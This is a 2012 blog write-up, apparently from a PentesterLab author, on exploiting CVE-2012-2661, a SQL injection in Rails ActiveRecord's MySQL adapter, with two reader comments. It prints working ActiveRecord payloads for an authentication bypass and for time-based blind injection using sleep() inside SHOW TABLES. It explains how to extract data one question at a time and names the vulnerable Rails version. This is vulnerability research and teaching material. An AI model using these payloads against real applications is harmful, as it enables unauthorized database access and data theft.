Friday, 1 June 2012

CVE-2012-2661: exploitation write-up

Being a activerecord user, I spent some time working on CVE-2012-2661,and its exploitability...

At first I only thought I can get an authentication bypass if some conditions using hashes in the URL...

But I really wanted more out of this bug... this is the Ruby code I start working with:


require 'active_record'
ActiveRecord::Base.establish_connection(
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "webapp",
      :password => "follow @pentesterlab, smartass"
      :database => "test"
    )


class User < ActiveRecord::Base
end


require 'irb'
IRB.start()

Basically, with that I can get a database connection, a class using activerecord and start playing


So i thought I only had an authentication bypass by changing:
   User.where(:password =>  'password' , :login =>'admin').all
to
   User.where(:password => {'users.id' => 1} , :login =>'admin').all

The main problem is that everything seems to be encoded correctly...


We need to go deeper...



But after more work and some discussions with @lukejahnke, an error message seems interesting for the following code:
   > User.where(:password => {'mysql.user' => {'id' => '1'}},  :login =>'admin' ).all

ActiveRecord::StatementInvalid: Mysql2::Error: Access denied for user 'webapp'@'localhost' to database 'mysql': SHOW TABLES IN mysql LIKE 'user'
We have an error here because webapp doesn't have access to the table...

Let's use root from now (to prevent this error and keep working on the payload)...

ActiveRecord::Base.establish_connection(
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "root",
      :password => "follow @pentesterlab, super smartass"
      :database => "test"
    )

Even more interesting now: 

  > User.where(:password => {'mysql plop.user' => {'id' => '1'}}).all

ActiveRecord::StatementInvalid: Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'plop LIKE 'user'' at line 1: SHOW TABLES IN mysql plop LIKE 'user'

We are now injecting in the first query... the one used to get the information out of the table before the select is performed.... UM NUM NUM :) 
The value used in this request is then passed to the SELECT  request which obviously fails... 


Now as usual, time to read the Mysql documentation to get all the possible syntax accepted by show table


So, it's possible to do show table in mysql where ....

And with some sleep(), you can get 2 queries: 

  •  User.where(:password => {'mysql where (select 1) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which quickly throws an error 
  •  User.where(:password => {'mysql where (select 0) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which throws an error after few seconds

Last thing, activerecord caches the result, so each request needs to be different (trivial to bypass)...

I hope this post provides enough details but not too much if you know what I mean...

Some side notes:


UPDATES:

I saw a question on reddit on what you can actually do:
 TLDR:  You can dump information.

More details now:

If you see the lines containing: "(select 0) or sleep(1) " and "(select 1) or sleep(1)"

First, since "or" is used, the "sleep(1)" will only be reached if the first part of the statement is false (i.e. select 0).

The (select X) can be used to dump information. You can use it to do a blind SQL injection. You have 2 states (based on the response time), so you're able to ask questions like:
  "is the first letter of the version a '5' ?"

If the response is fast, you know that this question returns true (like "select 1") and the sleep statement is never reached (since it's a OR statement). If the response is slow, you know that this question returns false (like select 0) and the sleep statement was reached.


Edit: You should check out PentesterLab's training on this bug:  CVE-2012-2661: ActiveRecord SQL injection

2 comments:

Blake H said...

Thanks for this write up. I'm a bit confused by one thing though. In my testing, everything I inject is being put inside of a WHERE clause. How are you able to get this arbitrary mysql execution. I just get something like "the table 'mysql where sleep...' could not be found.

Louis Nyffenegger said...

After more research, there has been a patch on the adapter preventing this method to work...

The version 3.2.3 can be used:
https://github.com/rails/rails/zipball/v3.2.3

To check if this method works, you can check:
lib/active_record/connection_adapters/abstract_mysql_adapter.rb around line 378
in the function "tables"

This method will work if the line looks like:
sql << "IN #{database} " if database

but won't if the line looks like

sql << "IN #{quote_table_name(database)} " if database